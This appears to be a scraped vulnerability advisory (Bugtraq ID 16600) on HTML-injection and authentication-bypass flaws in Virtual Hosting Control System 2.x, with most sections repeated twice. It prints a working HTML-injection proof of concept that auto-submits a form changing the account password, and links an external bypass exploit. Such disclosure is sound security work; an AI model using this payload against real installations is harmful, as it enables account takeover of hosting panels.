Virtual Hosting Control System Multiple Input Validation And Access Validation Vulnerabilities
BID:16600
Info
Virtual Hosting Control System Multiple Input Validation And Access Validation Vulnerabilities
| Bugtraq ID: | 16600 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 13 2006 12:00AM |
| Updated: | Feb 13 2006 08:28PM |
| Credit: | Román Medina-Heigl Hernández is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Virtual Hosting Control System Virtual Hosting Control System 2.4.7 .1 Virtual Hosting Control System Virtual Hosting Control System 2.4.6 .2 Virtual Hosting Control System Virtual Hosting Control System 2.2 |
| Not Vulnerable: | |
Discussion
Virtual Hosting Control System Multiple Input Validation And Access Validation Vulnerabilities
Virtual Hosting Control System (VHCS) is prone to multiple input and access vulnerabilities.
VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.
Virtual Hosting Control System (VHCS) is prone to multiple input and access vulnerabilities.
VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.
Exploit / POC
Virtual Hosting Control System Multiple Input Validation And Access Validation Vulnerabilities
An exploit is not required.
The following proof of concept for the HTML injection issue is available:
</form><form name="dsr" method="post" action="ch%61nge_password.php"><input name="pass" value="hackme"><input name="pass_rep" value="hackme"><input name="uaction" value="updt_pass"></form><script>document.dsr.submit()</script>
The following exploit for the authentication bypass is available:
http://www.rs-labs.com/exploitsntools/rs_vhcs_simple_poc.html
An exploit is not required.
The following proof of concept for the HTML injection issue is available:
</form><form name="dsr" method="post" action="ch%61nge_password.php"><input name="pass" value="hackme"><input name="pass_rep" value="hackme"><input name="uaction" value="updt_pass"></form><script>document.dsr.submit()</script>
The following exploit for the authentication bypass is available:
http://www.rs-labs.com/exploitsntools/rs_vhcs_simple_poc.html
Solution / Fix
Virtual Hosting Control System Multiple Input Validation And Access Validation Vulnerabilities
Solution:
Reports indicate the vendor may have released patches to address some of these issues, but Symantec has not confirmed this. Please contact the vendor for further information.
Currently, we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected]
Solution:
Reports indicate the vendor may have released patches to address some of these issues, but Symantec has not confirmed this. Please contact the vendor for further information.
Currently, we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected]
References
Virtual Hosting Control System Multiple Input Validation And Access Validation Vulnerabilities
References:
References:
- Multiple flaws in VHCS 2.x (RS-Labs)
- Virtual Hosting Control System Homepage (Virtual Hosting Control System)